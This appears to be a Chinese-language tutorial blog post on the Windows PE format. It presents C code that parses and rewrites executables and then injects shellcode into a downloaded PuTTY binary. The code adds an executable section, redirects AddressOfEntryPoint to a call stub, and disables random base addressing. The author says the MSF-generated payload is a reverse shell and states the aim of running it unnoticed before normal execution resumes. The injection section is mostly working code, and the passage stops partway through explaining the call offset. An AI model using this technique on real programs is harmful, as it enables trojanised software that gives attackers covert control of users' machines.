    	memset(imageBuffer, 0, pOptionalHeader->SizeOfImage);
    
    
    	// 拉伸
    	// DOS头到最后一个节区头部分不需要拉伸,所以直接拷贝过来
    	memcpy(imageBuffer, fileBuffer, pOptionalHeader->SizeOfHeaders);
    
    	// 根据节区头中的PointerToRawData找到对应节区在fileBuffer中的位置,然后拷贝到imageBuffer的VirtualAddress处
    	for (int i = 0; i < pFileHeader->NumberOfSections; ++i) {
    		memcpy((imageBuffer + ppSectionHeader[i]->VirtualAddress), (fileBuffer + ppSectionHeader[i]->PointerToRawData), ppSectionHeader[i]->Misc.VirtualSize);
    	}
    	
    	return imageBuffer;
    }
    

    代码详解

    1. 解析PE文件:其实就是运用了本文“结构体”部分内容的思想进行解析
    // 解析PE文件
    PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)fileBuffer;	// DOS头
    PIMAGE_NT_HEADERS32 pNtHeader = (PIMAGE_NT_HEADERS32)(fileBuffer + pDosHeader->e_lfanew);	// NT头,DOS头中的e_lfanew的值就是NT头的起始地址的偏移量
    PIMAGE_FILE_HEADER pFileHeader = (PIMAGE_FILE_HEADER)&pNtHeader->FileHeader;	// 文件头,NT头的FileHeader成员就是文件头,我们直接取其地址赋值即可
    PIMAGE_OPTIONAL_HEADER32 pOptionalHeader = (PIMAGE_OPTIONAL_HEADER32)&pNtHeader->OptionalHeader;	// 可选PE头
    PIMAGE_SECTION_HEADER* ppSectionHeader = (PIMAGE_SECTION_HEADER*)malloc(sizeof(PIMAGE_SECTION_HEADER) * pFileHeader->NumberOfSections);	// 节区头数组
    if (ppSectionHeader == NULL) {
        printf("内存分配失败!");
        return NULL;
    }
    ppSectionHeader[0] = (PIMAGE_SECTION_HEADER)((char*)pOptionalHeader + pFileHeader->SizeOfOptionalHeader);	// SizeOfOptionalHeader指定了可选PE头的大小,第一个节区头在可选PE头后面
    if (pFileHeader->NumberOfSections > 1) {
        for (int i = 1; i < pFileHeader->NumberOfSections; ++i) {
            ppSectionHeader[i] = (PIMAGE_SECTION_HEADER)(ppSectionHeader[0] + i);	// 每个节区头大小是固定的,所以+1就是下一个节区头
        }
    }
    
    1. 新建一块区域用于存放拉伸后的PE文件
    // 新建一块区域用于存放拉伸后的PE文件
    char* imageBuffer = (char*)malloc(pOptionalHeader->SizeOfImage);	// 可选PE头中的SizeOfImage成员用于表示PE文件在内存中的总大小
    if (imageBuffer == NULL) {
    printf("内存分配失败!");
    return NULL;
    }
    memset(imageBuffer, 0, pOptionalHeader->SizeOfImage);
    
    1. 拉伸
    // DOS头到最后一个节区头部分不需要拉伸,所以直接拷贝过来
    memcpy(imageBuffer, fileBuffer, pOptionalHeader->SizeOfHeaders);
    
    // 根据节区头中的PointerToRawData找到对应节区在fileBuffer中的位置,然后拷贝到imageBuffer的VirtualAddress处
    // 节区头中的PointerToRawData成员表示该节区数据在文件中的偏移量,所以fileBuffer + PointerToRawData就是该节区在文件中的起始位置
    // 节区头中的VirtualAddress成员表示该节区数据在内存中的偏移量,所以imageBuffer + VirtualAddress就是该节区在内存中的起始位置
    for (int i = 0; i < pFileHeader->NumberOfSections; ++i) {
    memcpy((imageBuffer + ppSectionHeader[i]->VirtualAddress), (fileBuffer + ppSectionHeader[i]->PointerToRawData), ppSectionHeader[i]->Misc.VirtualSize);
    }
    

    压缩

    ​ 模拟PE文件在内存中的状态还原到硬盘中的过程。

    char* imageBuffertoFileBuffer(char *imageBuffer) {
    	// 解析PE文件所有头部和节区头
    	PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)imageBuffer;
    	PIMAGE_NT_HEADERS32 pNtHeader = (PIMAGE_NT_HEADERS32)(imageBuffer + pDosHeader->e_lfanew);	// DOS头中的e_lfanew的值就是NT头的起始地址的偏移量
    	PIMAGE_FILE_HEADER pFileHeader = (PIMAGE_FILE_HEADER)&pNtHeader->FileHeader;	// NT头的FileHeader成员就是文件头,我们直接取其地址赋值即可
    	PIMAGE_OPTIONAL_HEADER32 pOptionalHeader = (PIMAGE_OPTIONAL_HEADER32)&pNtHeader->OptionalHeader;
    	PIMAGE_SECTION_HEADER* ppSectionHeader = (PIMAGE_SECTION_HEADER*)malloc(sizeof(PIMAGE_SECTION_HEADER) * pFileHeader->NumberOfSections);
    	ppSectionHeader[0] = (PIMAGE_SECTION_HEADER)((char*)pOptionalHeader + pFileHeader->SizeOfOptionalHeader);	// SizeOfOptionalHeader指定了可选PE头的大小,第一个节区头在可选PE头后面
    	if (pFileHeader->NumberOfSections > 1) {
    		for (int i = 1; i < pFileHeader->NumberOfSections; ++i) {
    			ppSectionHeader[i] = ppSectionHeader[0] + i;
    		}
    	}
    
    	// 新建一块内存空间用于存放压缩后的PE文件数据
    	PIMAGE_SECTION_HEADER lastSectionHeader = ppSectionHeader[pFileHeader->NumberOfSections - 1];
    	unsigned int fileBufferSize = lastSectionHeader->PointerToRawData + lastSectionHeader->SizeOfRawData;
    	char* fileBuffer = (char*)malloc(fileBufferSize);
    	if (fileBuffer == NULL) {
    		printf("内存分配失败!");
    		return NULL;
    	}
    	memset(fileBuffer, 0, fileBufferSize);
    
    	// 拷贝PE头部和节区头
    	memcpy(fileBuffer, imageBuffer, pOptionalHeader->SizeOfHeaders);
    
    	// 拷贝节区
    	for (int i = 0; i < pFileHeader->NumberOfSections; ++i) {
    		memcpy((fileBuffer + ppSectionHeader[i]->PointerToRawData), (imageBuffer + ppSectionHeader[i]->VirtualAddress), ppSectionHeader[i]->Misc.VirtualSize);
    	}
    
    
    	FILE* pf = fopen("C:\\Users\\XXX\\1.exe", "wb");
    	fwrite(fileBuffer, fileBufferSize, 1, pf);
    	fclose(pf);
    	return fileBuffer;
    }
    

    代码详解

    1. 解析PE文件结构部分和拉伸过程基本一直,只是这次强制转换类型的数据变成了imageBase。
    // 解析PE文件所有头部和节区头
    PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)imageBuffer;
    PIMAGE_NT_HEADERS32 pNtHeader = (PIMAGE_NT_HEADERS32)(imageBuffer + pDosHeader->e_lfanew);	// DOS头中的e_lfanew的值就是NT头的起始地址的偏移量
    PIMAGE_FILE_HEADER pFileHeader = (PIMAGE_FILE_HEADER)&pNtHeader->FileHeader;	// NT头的FileHeader成员就是文件头,我们直接取其地址赋值即可
    PIMAGE_OPTIONAL_HEADER32 pOptionalHeader = (PIMAGE_OPTIONAL_HEADER32)&pNtHeader->OptionalHeader;
    PIMAGE_SECTION_HEADER* ppSectionHeader = (PIMAGE_SECTION_HEADER*)malloc(sizeof(PIMAGE_SECTION_HEADER) * pFileHeader->NumberOfSections);
    ppSectionHeader[0] = (PIMAGE_SECTION_HEADER)(pOptionalHeader + 1);
    if (pFileHeader->NumberOfSections > 1) {
        for (int i = 1; i < pFileHeader->NumberOfSections; ++i) {
        	ppSectionHeader[i] = ppSectionHeader[0] + i;
        }
    }
    
    1. 新建一块内存用于存放压缩后的PE文件。
    // 新建一块内存空间用于存放压缩后的PE文件数据
    // fileBuffer内存大小通过最后一个节区头中的PointerToRawData(节在文件中的偏移量)和SizeOfRawData(在文件中对齐后的尺寸)相加得到。
    PIMAGE_SECTION_HEADER lastSectionHeader = ppSectionHeader[pFileHeader->NumberOfSections - 1];
    unsigned int fileBufferSize = lastSectionHeader->PointerToRawData + lastSectionHeader->SizeOfRawData;
    char* fileBuffer = (char*)malloc(fileBufferSize);
    if (fileBuffer == NULL) {
        printf("内存分配失败!");
        return NULL;
    }
    memset(fileBuffer, 0, fileBufferSize);
    
    1. 压缩过程
    // 拷贝PE头部和节区头
    memcpy(fileBuffer, imageBuffer, pOptionalHeader->SizeOfHeaders);
    
    // 拷贝节区
    for (int i = 0; i < pFileHeader->NumberOfSections; ++i) {
    	memcpy((fileBuffer + ppSectionHeader[i]->PointerToRawData), (imageBuffer + ppSectionHeader[i]->VirtualAddress), ppSectionHeader[i]->Misc.VirtualSize);
    }
    

    完整代码

    ​ 最后通过main函数调用拉伸和压缩函数,完成我们“复制”的过程。最后生成的1.exe,我们打开它能够正常运行,那就说明成功了。需要注意的是,这段代码仅支持拉伸和压缩32位的PE文件,因为里面使用到涉及位数的结构体都使用了32位。

    #define _CRT_SECURE_NO_WARNINGS
    #include <stdio.h>
    #include <stdlib.h>
    #include <Windows.h>
    char* readFile(const char* fileName);
    char* fileBuffertoImageBuffer(char* fileBuffer);
    char* imageBuffertoFileBuffer(char* imageBuffer);
    
    int main(int argc, char* argv[]) {
    	char *fileBuffer = readFile("C:\\Users\\XXX\\putty.exe");	// 读取PE文件
    	char *imageBuffer = fileBuffertoImageBuffer(fileBuffer);	// 拉伸
    
    	char *newFileBuffer = imageBuffertoFileBuffer(imageBuffer);	// 压缩
    
    	free(fileBuffer);
    	free(newFileBuffer);
    	free(imageBuffer);
    	return 0;
    }
    
    char* readFile(const char* fileName) {
    	// 打开文件
    	FILE *pf = fopen(fileName, "rb");
    	if (pf == NULL) {
    		printf("文件打开失败!");
    		return NULL;
    	}
    
    	// 获取文件大小
    	unsigned int fileSize = 0;
    	fseek(pf, 0, SEEK_END);
    	fileSize = ftell(pf);
    	fseek(pf, 0, SEEK_SET);
    
    	// 分配内存并初始化
    	char* fileBuffer = (char*)malloc(fileSize);
    	if (fileBuffer == NULL) {
    		printf("内存分配失败!");
    		return NULL;
    	}
    	memset(fileBuffer, 0, fileSize);
    	
    	// 读文件
    	fread(fileBuffer, fileSize, 1, pf);
    	
    	fclose(pf);
    	return fileBuffer;
    }
    
    char* fileBuffertoImageBuffer(char *fileBuffer) {
    	// 解析PE文件
    	PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)fileBuffer;
    	PIMAGE_NT_HEADERS32 pNtHeader = (PIMAGE_NT_HEADERS32)(fileBuffer + pDosHeader->e_lfanew);	// DOS头中的e_lfanew的值就是NT头的起始地址的偏移量
    	PIMAGE_FILE_HEADER pFileHeader = (PIMAGE_FILE_HEADER)&pNtHeader->FileHeader;	// NT头的FileHeader成员就是文件头,我们直接取其地址赋值即可
    	PIMAGE_OPTIONAL_HEADER32 pOptionalHeader = (PIMAGE_OPTIONAL_HEADER32)&pNtHeader->OptionalHeader;
    	PIMAGE_SECTION_HEADER* ppSectionHeader = (PIMAGE_SECTION_HEADER*)malloc(sizeof(PIMAGE_SECTION_HEADER) * pFileHeader->NumberOfSections);
    	if (ppSectionHeader == NULL) {
    		printf("内存分配失败!");
    		return NULL;
    	}
    	ppSectionHeader[0] = (PIMAGE_SECTION_HEADER)((char*)pOptionalHeader + pFileHeader->SizeOfOptionalHeader);
    	if (pFileHeader->NumberOfSections > 1) {
    		for (int i = 1; i < pFileHeader->NumberOfSections; ++i) {
    			ppSectionHeader[i] = (PIMAGE_SECTION_HEADER)(ppSectionHeader[0] + i);
    		}
    	}
    
    
    	// 新建一块区域用于存放拉伸后的PE文件
    	char* imageBuffer = (char*)malloc(pOptionalHeader->SizeOfImage);
    	if (imageBuffer == NULL) {
    		printf("内存分配失败!");
    		return NULL;
    	}
    	memset(imageBuffer, 0, pOptionalHeader->SizeOfImage);
    
    
    	// 拉伸
    	// DOS头到最后一个节区头部分不需要拉伸,所以直接拷贝过来
    	memcpy(imageBuffer, fileBuffer, pOptionalHeader->SizeOfHeaders);
    
    	// 根据节区头中的PointerToRawData找到对应节区在fileBuffer中的位置,然后拷贝到imageBuffer的VirtualAddress处
    	for (int i = 0; i < pFileHeader->NumberOfSections; ++i) {
    		printf("%p\n", (ppSectionHeader[i]->VirtualAddress));
    		memcpy((imageBuffer + ppSectionHeader[i]->VirtualAddress), (fileBuffer + ppSectionHeader[i]->PointerToRawData), ppSectionHeader[i]->Misc.VirtualSize);
    	}
    	
    	return imageBuffer;
    }
    
    char* imageBuffertoFileBuffer(char *imageBuffer) {
    	// 解析PE文件所有头部和节区头
    	PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)imageBuffer;
    	PIMAGE_NT_HEADERS32 pNtHeader = (PIMAGE_NT_HEADERS32)(imageBuffer + pDosHeader->e_lfanew);	// DOS头中的e_lfanew的值就是NT头的起始地址的偏移量
    	PIMAGE_FILE_HEADER pFileHeader = (PIMAGE_FILE_HEADER)&pNtHeader->FileHeader;	// NT头的FileHeader成员就是文件头,我们直接取其地址赋值即可
    	PIMAGE_OPTIONAL_HEADER32 pOptionalHeader = (PIMAGE_OPTIONAL_HEADER32)&pNtHeader->OptionalHeader;
    	PIMAGE_SECTION_HEADER* ppSectionHeader = (PIMAGE_SECTION_HEADER*)malloc(sizeof(PIMAGE_SECTION_HEADER) * pFileHeader->NumberOfSections);
    	ppSectionHeader[0] = (PIMAGE_SECTION_HEADER)((char*)pOptionalHeader + pFileHeader->SizeOfOptionalHeader);;
    	if (pFileHeader->NumberOfSections > 1) {
    		for (int i = 1; i < pFileHeader->NumberOfSections; ++i) {
    			ppSectionHeader[i] = ppSectionHeader[0] + i;
    		}
    	}
    
    	// 新建一块内存空间用于存放压缩后的PE文件数据
    	PIMAGE_SECTION_HEADER lastSectionHeader = ppSectionHeader[pFileHeader->NumberOfSections - 1];
    	unsigned int fileBufferSize = lastSectionHeader->PointerToRawData + lastSectionHeader->SizeOfRawData;
    	char* fileBuffer = (char*)malloc(fileBufferSize);
    	if (fileBuffer == NULL) {
    		printf("内存分配失败!");
    		return NULL;
    	}
    	memset(fileBuffer, 0, fileBufferSize);
    
    	// 拷贝PE头部和节区头
    	memcpy(fileBuffer, imageBuffer, pOptionalHeader->SizeOfHeaders);
    
    	// 拷贝节区
    	for (int i = 0; i < pFileHeader->NumberOfSections; ++i) {
    		memcpy((fileBuffer + ppSectionHeader[i]->PointerToRawData), (imageBuffer + ppSectionHeader[i]->VirtualAddress), ppSectionHeader[i]->Misc.VirtualSize);
    	}
    
    
    	FILE* pf = fopen("C:\\Users\\XXX\\1.exe", "wb");
    	fwrite(fileBuffer, fileBufferSize, 1, pf);
    	fclose(pf);
    	return fileBuffer;
    }
    

    往PE文件中添加恶意代码

    ​ 练习PE文件结构其实还有其他更加有趣的实验,我们已经学习到PE文件的可选PE头结构体中有一个AddressOfEntryPoint成员,用于指定程序最先执行的代码起始地址,那我们往程序中注入恶意代码,然后修改AddressOfEntryPoint指向我们的恶意代码,那么程序在运行时是不是就执行了我们的恶意代码呢?为了更加无感执行,我们执行完恶意代码后再跳转回原来的AddressOfEntryPoint执行,那程序就能在执行恶意代码的基础上,正常的运行程序了。本文的实验程序是32位putty,下载地址:https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html

    注入恶意代码

    ​ 首先我们需要考虑的就是怎么往PE文件中注入恶意代码,这里就需要用到前面学习到的节区了。通常PE文件会把机器码指令存放在.text节中,那么我们同样可以添加恶意代码机器码到节区中。

    ​ 其实有几种方式注入:

    1. 新增节区存放恶意代码机器码指令(需要保证节区有执行权限,当节区的Characteristics中IMAGE_SCN_MEM_EXECUTE位置为1时,该节区有执行权限)。
    2. 扩大节区存放恶意代码机器码指令。
    3. 合并节区存放恶意代码机器码指令。

    ​ 本文先以新增节区的方式讲解,其他方式后续有机会再写。

    新增节区

    需要改动的成员

    ​ 通过前面学习的PE结构我们可以知道,有些成员之间是相互有关联的,那么我们改动一个地方之后,可能另外一个地方也需要一起改动,这样才能保证PE文件能够被正常运行。通过新增节区的方式,我们需要改动的有以下几个地方:

    1. 文件头需要修改的成员
      • NumberOfSections // PE文件中存在的节的总数
    2. 可选PE头需要修改的成员
      • SizeOfImage // 内存中整个PE文件的映射的尺寸,可以比实际的值大,但必须是SectionAlignment的整数倍
    3. 新增的节区头中需要修改的成员
      • Name // 节区名称
      • Misc.VirtualSize // 节区的真实尺寸,是该节在没有对齐前的真实尺寸
      • VirtualAddress // 节区的 RVA 地址(在内存中的偏移地址)
      • SizeOfRawData // 节区文件中对齐后的尺寸
      • PointerToRawData // 节区在文件中的偏移量
      • Characteristics // 节区的属性如可读,可写,可执行等

    步骤

    1. 检查空间

    ​ 在新增节区之前,需要检查是否有足够的空间添加节区头。我们知道最后一个节区头与第一个节区之间是有一块空闲空间的,通常编译器生成的PE文件都会有这样一块空间,我们需要做的就是判断这块空闲空间是否足够存放两个节区头,也就是80个字节(一个节区头40个字节)。

    ​ 那么可能还有个疑问,为什么要检查两个节区头大小,不是只新增一个节区头吗?其实这是为了兼容所有的操作系统,部分操作系统遍历节区头会通过以一个全为0x00的节区头作为结尾,类似于C语言中字符串结束符'\0',我们要兼容这种情况就必须要预留出一个空白的节区头(值得注意的是,这并不是必须的,只有在存在这种情况的操作系统上运行才需要这么做,貌似现在大部分操作系统都不需要这么做了,这个没有具体深究过)。

    ​ 除了检查是否有足够的空间外,还需要检查这块空间里是否有编译器留下的一些数据(非0x00一般就是编译器留下的数据),可以参考旧版本的notepad.exe,它的这块空闲区域就存放了一些数据。

    ​ 当遇到空闲区域有填充数据的时候,还可以尝试把整个NT头和节区头上移,将DOS存根(DOS存根可有可无)覆盖,通过这种方式来获取添加节区头的空间。为啥不把节区数据往下移动呢?因为移动后节区的文件偏移、内存偏移都改变了,你需要修改所有的节区头,这样很麻烦。通常几种方式就能够解决大部分的环境了。

    1. 新增节区头并完善新节区头中的数据

    ​ 这部分稍微复杂一点点,需要计算一下新节区的文件偏移、内存偏移等。这部分的思路是,复制上一个节区头到新节区头位置,然后修改部分值。

    ​ 这里我们可以通过获取新增节区头的上一个节区头结构体指针,然后+1得到新增节区头的首地址。然后获取新增节区头的上一个节区头在文件中的偏移量(VirtualAddress)加上fileBuffer,就得到需要复制的开始地址,然后用这个开始地址+新增节区头的上一个节区头在文件中对齐后的尺寸(SizeOfRawData)就得到需要复制的结束地址。得到这三个数据后,通过memcpy进行拷贝即可。

    ​ 之后就是修改新增节区的一些成员值:

    • Name // 节区名称

      • 直接通过memcpy拷贝一个小于8个字节的字符串即可
      • memcpy(newPSectionHeader->Name, ".gcker", 7);
    • Misc.VirtualSize // 节区的真实尺寸,是该节在没有对齐前的真实尺寸

      • 计算出需要添加的机器码指令长度后赋值给它即可
    • VirtualAddress // 节区的 RVA 地址(在内存中的偏移地址)

      • 新增节区头的上一个节区头结构体的VirtualAddress + 上一个节区内存对齐后的尺寸
      • 首先需要判断上一个节区的Misc.VirtualSize和SizeOfRawData哪个大,取大的来做下面的运算
      • 上一个节区内存对齐后的尺寸 = ((max(上一个节区的Misc.VirtualSize,上一个节区的SizeOfRawData) - 1) / SectionAlignment + 1) * SectionAlignment
      • 上面公式中的(上一个节区的Misc.VirtualSize - 1) / SectionAlignment + 1其实是参考https://blog.csdn.net/robinfoxnan/article/details/113634301的
    • SizeOfRawData // 节区文件中对齐后的尺寸

      • ((机器码指令长度 - 1) / FileAlignment + 1) * FileAlignment
      • 依旧是参考上面的向上取整的公式,计算文件对齐后尺寸
    • PointerToRawData // 节区在文件中的偏移量

      • 节区在文件中的偏移量 = 上一个节区文件偏移量(PointerToRawData) + 上一个节区文件对齐后尺寸(SizeOfRawData)
    • Characteristics // 节区的属性如可读,可写,可执行等

      • 由于执行权限是0x20000000,所以只需要跟0x20000000相与就行了
      • Characteristics |= 0x20000000
    1. 修改PE结构其他成员
    • 文件头的NumberOfSections:节区个数,由于我们新增一个节区,所有加一就行了
      • NumberOfSections += 1
    • 可选PE头的SizeOfImage:内存中整个PE文件尺寸
      • 只需要计算原有SizeOfImage + 机器码指令长度的内存对齐后尺寸就行,依旧可以使用向上取整的公式
      • (SizeOfImage + shellcodeLength - 1) / SectionAlignment + 1
    1. 新增节区数据

    ​ 到这一步就是新增我们存放机器码指令的地方了,我们可以直接用realloc来增大。增大后的长度就是:原有长度+新增节区文件对齐后尺寸

    代码实现

    #define _CRT_SECURE_NO_WARNINGS
    #include <stdio.h>
    #include <stdlib.h>
    #include <Windows.h>
    char* readFile(const char* fileName);
    int addSection(char* fileBuffer, unsigned long shellcodeLength);
    
    int main(int argc, char* argv[]) {
    	char *fileBuffer = readFile("C:\\Users\\XXX\\putty.exe");	// 读取PE文件
    	addSection(fileBuffer, 10);
    	return 0;
    }
    
    char* readFile(const char* fileName) {
    	// 打开文件
    	FILE *pf = fopen(fileName, "rb");
    	if (pf == NULL) {
    		printf("文件打开失败!");
    		return NULL;
    	}
    
    	// 获取文件大小
    	unsigned int fileSize = 0;
    	fseek(pf, 0, SEEK_END);
    	fileSize = ftell(pf);
    	fseek(pf, 0, SEEK_SET);
    
    	// 分配内存并初始化
    	char* fileBuffer = (char*)malloc(fileSize);
    	if (fileBuffer == NULL) {
    		printf("内存分配失败!");
    		return NULL;
    	}
    	memset(fileBuffer, 0, fileSize);
    	
    	// 读文件
    	fread(fileBuffer, fileSize, 1, pf);
    	
    	fclose(pf);
    	return fileBuffer;
    }
    
    int addSection(char* fileBuffer, unsigned long shellcodeLength) {
    	// 解析PE文件
    	PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)fileBuffer;
    	PIMAGE_NT_HEADERS32 pNtHeader = (PIMAGE_NT_HEADERS32)(fileBuffer + pDosHeader->e_lfanew);	// DOS头中的e_lfanew的值就是NT头的起始地址的偏移量
    	PIMAGE_FILE_HEADER pFileHeader = (PIMAGE_FILE_HEADER)&pNtHeader->FileHeader;	// NT头的FileHeader成员就是文件头,我们直接取其地址赋值即可
    	PIMAGE_OPTIONAL_HEADER32 pOptionalHeader = (PIMAGE_OPTIONAL_HEADER32)&pNtHeader->OptionalHeader;
    	PIMAGE_SECTION_HEADER* ppSectionHeader = (PIMAGE_SECTION_HEADER*)malloc(sizeof(PIMAGE_SECTION_HEADER) * pFileHeader->NumberOfSections);
    	if (ppSectionHeader == NULL) {
    		printf("内存分配失败!");
    		return -1;
    	}
    	ppSectionHeader[0] = (PIMAGE_SECTION_HEADER)((char*)pOptionalHeader + pFileHeader->SizeOfOptionalHeader);
    	if (pFileHeader->NumberOfSections > 1) {
    		for (int i = 1; i < pFileHeader->NumberOfSections; ++i) {
    			ppSectionHeader[i] = (PIMAGE_SECTION_HEADER)(ppSectionHeader[0] + i);
    		}
    	}
    
    
    
    
    	// 检查空间阶段
    	// 判断是否有足够空间添加节区头
    	char *start = (char*)(ppSectionHeader[pFileHeader->NumberOfSections - 1] + 1);
    	char *end = fileBuffer + ppSectionHeader[0]->PointerToRawData;
    	if (end - start >= 80) {
    		printf("有足够的空间添加节区头,共:%d个字节\n", end - start);
    	}
    
    	// 判断需要被填充为新节区头的部分是否存在其他数据
    	for (int i = 0; i < 40; ++i) {
    		if (start[i] != '\x00') {
    			printf("节区末尾空间不足,需要上移NT头!");
    			return -1;
    		}
    	}
    
    
    
    
    	// 新增节区头并完善新节区头中的数据阶段
    	// 新增节区头并设置其属性
    	PIMAGE_SECTION_HEADER newPSectionHeader = (PIMAGE_SECTION_HEADER)start;
    	PIMAGE_SECTION_HEADER lastPSectionHeader = ppSectionHeader[pFileHeader->NumberOfSections - 1];
    
    	// 将上一个节区头拷贝下来
    	memcpy(newPSectionHeader, lastPSectionHeader, IMAGE_SIZEOF_SECTION_HEADER);
    	
    	// 设置节区名
    	memcpy(newPSectionHeader->Name, ".gcker", 7);
    	
    	// 设置节区数据实际长度
    	newPSectionHeader->Misc.VirtualSize = shellcodeLength;
    
    	// 设置节区在内存中的偏移量
    	unsigned int size = 0;
    	if (lastPSectionHeader->Misc.VirtualSize < lastPSectionHeader->SizeOfRawData) {
    		size = (lastPSectionHeader->SizeOfRawData - 1) / pOptionalHeader->SectionAlignment + 1;
    	}
    	else {
    		size = (lastPSectionHeader->Misc.VirtualSize - 1) / pOptionalHeader->SectionAlignment + 1;
    	}
    	newPSectionHeader->VirtualAddress = size * pOptionalHeader->SectionAlignment + lastPSectionHeader->VirtualAddress;
    
    	// 计算在文件中对齐后的尺寸
    	newPSectionHeader->SizeOfRawData = ((shellcodeLength - 1) / pOptionalHeader->FileAlignment + 1) * pOptionalHeader->FileAlignment;
    
    	// 计算节区在文件中的偏移量
    	newPSectionHeader->PointerToRawData = lastPSectionHeader->PointerToRawData + lastPSectionHeader->SizeOfRawData;
    
    	// 给节区添加执行权限
    	newPSectionHeader->Characteristics |= 0x20000000;
    
    	
    	
    
    	// 修改PE结构其他成员阶段
    	// 设置节区头数量
    	pFileHeader->NumberOfSections += 1;
    
    	// 设置内存中整个PE文件尺寸,必须是SectionAlignment的整数倍
    	pOptionalHeader->SizeOfImage = ((pOptionalHeader->SizeOfImage + shellcodeLength - 1) / pOptionalHeader->SectionAlignment + 1) * pOptionalHeader->SectionAlignment;
    	
    
    
    
    	// 新增节区数据
    	// 新增节区数据,用于存放机器码指令
    	unsigned int oldFileBufferSize = lastPSectionHeader->PointerToRawData + lastPSectionHeader->SizeOfRawData;
    	fileBuffer = (char*)realloc(fileBuffer, oldFileBufferSize + newPSectionHeader->SizeOfRawData);
    	memset(fileBuffer + oldFileBufferSize, 0, newPSectionHeader->SizeOfRawData);
    
    	
    	// 写入文件
    	FILE* pf = fopen("C:\\Users\\XXX\\1.exe", "wb");
    	fwrite(fileBuffer, oldFileBufferSize + newPSectionHeader->SizeOfRawData, 1, pf);
    	return 0;
    }
    

    添加恶意代码并执行

    ​ 重点来了,接下来我们就需要添加恶意代码并修改AddressOfEntryPoint执行恶意代码。总体的思路如下:

    1. MSF生成shellcode
    2. 将shellcode插入新增的节区中
    3. 在shellcode后面添加汇编call硬编码指令调用shellcode
    4. 修改AddressOfEntryPoint
    5. 修改DllCharacteristics,禁用随机基址

    函数代码

    void injectShellcode(char* shellcode, unsigned long shellcodeLength, char* fileBuffer) {
    	// 解析PE文件
    	PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)fileBuffer;
    	PIMAGE_NT_HEADERS32 pNtHeader = (PIMAGE_NT_HEADERS32)(fileBuffer + pDosHeader->e_lfanew);	// DOS头中的e_lfanew的值就是NT头的起始地址的偏移量
    	PIMAGE_FILE_HEADER pFileHeader = (PIMAGE_FILE_HEADER)&pNtHeader->FileHeader;	// NT头的FileHeader成员就是文件头,我们直接取其地址赋值即可
    	PIMAGE_OPTIONAL_HEADER32 pOptionalHeader = (PIMAGE_OPTIONAL_HEADER32)&pNtHeader->OptionalHeader;
    	PIMAGE_SECTION_HEADER* ppSectionHeader = (PIMAGE_SECTION_HEADER*)malloc(sizeof(PIMAGE_SECTION_HEADER) * pFileHeader->NumberOfSections);
    	if (ppSectionHeader == NULL) {
    		printf("内存分配失败!");
    		return;
    	}
    	ppSectionHeader[0] = (PIMAGE_SECTION_HEADER)((char*)pOptionalHeader + pFileHeader->SizeOfOptionalHeader);
    	if (pFileHeader->NumberOfSections > 1) {
    		for (int i = 1; i < pFileHeader->NumberOfSections; ++i) {
    			ppSectionHeader[i] = (PIMAGE_SECTION_HEADER)(ppSectionHeader[0] + i);
    		}
    	}
    	PIMAGE_SECTION_HEADER lastPSectionHeader = ppSectionHeader[pFileHeader->NumberOfSections - 1];
    
    	// 插入shellcode
    	memcpy(fileBuffer + lastPSectionHeader->PointerToRawData, shellcode, shellcodeLength);
    	char newOpcode[] = "\xe8\x00\x00\x00\x00";
    	memcpy(fileBuffer + lastPSectionHeader->PointerToRawData + shellcodeLength, newOpcode, sizeof(newOpcode));
    	unsigned int newOpcodeLength = sizeof(newOpcode) - 1;
    
    	// 添加call指令调用shellcode
    	unsigned long e8Address = (lastPSectionHeader->VirtualAddress + pOptionalHeader->ImageBase) - (lastPSectionHeader->VirtualAddress + shellcodeLength + 5 + pOptionalHeader->ImageBase);
    	memcpy(fileBuffer + lastPSectionHeader->PointerToRawData + shellcodeLength + 1, &e8Address, sizeof(unsigned long));
    
    	// 修改OEP
    	unsigned long newOEP = (unsigned long)(lastPSectionHeader->VirtualAddress + shellcodeLength);
    	pOptionalHeader->AddressOfEntryPoint = newOEP;
    
    	// 关闭随机基址
    	pOptionalHeader->DllCharacteristics &= 0xffbf;
    
    	// 写入文件
    	FILE* pf = fopen("C:\\Users\\XXX\\1.exe", "wb");
    	fwrite(fileBuffer, lastPSectionHeader->PointerToRawData + lastPSectionHeader->SizeOfRawData, 1, pf);
    	return;
    }
    

    代码详解

    MSF生成shellcode

    ​ 这个我就不赘述啦~各位师傅估计倒着写都比我溜,我这里实验是生成windows的终端反弹shell。

    shellcode插入新增的节区

    ​ 插入其实就很简单了,我们通过memcpy进行拷贝,拷贝到fileBuffer + 新增节区头的PointerToRawData位置。

    // 插入shellcode
    memcpy(fileBuffer + lastPSectionHeader->PointerToRawData, shellcode, shellcodeLength);
    

    添加call硬编码指令调用shellcode

    ​ 我们在节区的shellcode后面再加一句call指令,用来调用shellcode。call指令是汇编指令,其作用是调用一个过程,指挥处理器从新的内存地址开始执行,类似于编程中的调用函数,使用格式是call <内存地址>。这里最好在shellcode后面相隔几个字节的地方添加call指令,否则call指令的硬编码可能会和shellcode末尾的指令混合在一起形成新的指令,这样意思就错乱了。

    ​ 需要注意的是,call指令后面跟着的内存地址并不是直接的内存地址,是需要通过一定计算后的,大概意思就是说:假设现在需要通过call指令让CPU到内存地址为0x12345678这个地方执行,那么调用的时候就不是简单的call 0x12345678,具体计算方法如下:

    1. 跳转的真实地址为0x12345678,我们设为X
    2. call指令的下一条指令的内存地址,设为Y
    3. call指令后面跟着的地址Z = X - Y
    4. call的机器码是E8,结合上面计算得到的结果,完整的硬编码就是E8 <Z>,如Z是0x32164587,则硬编码就是E8 0x32165487

    ​ 第一个跳转的真实地址 = 新增节区的内存偏移(VirtualAddress) + 基址(ImageBase)。

    ​ 第二个可能读起来有点懵,用下图解释应该就很清晰了:

    ​ 在代码中,我们可以通过公式计算:新增节区的内存偏移(VirtualAddress)+ shellcode长度 + 几个字节(防止call指令的硬编码和shellcode末尾的指令混合在一起形成新的指令)+ 5(这个5是call指令的长度,加了5就是下一条指令的地址了)+ 基址(ImageBase)。

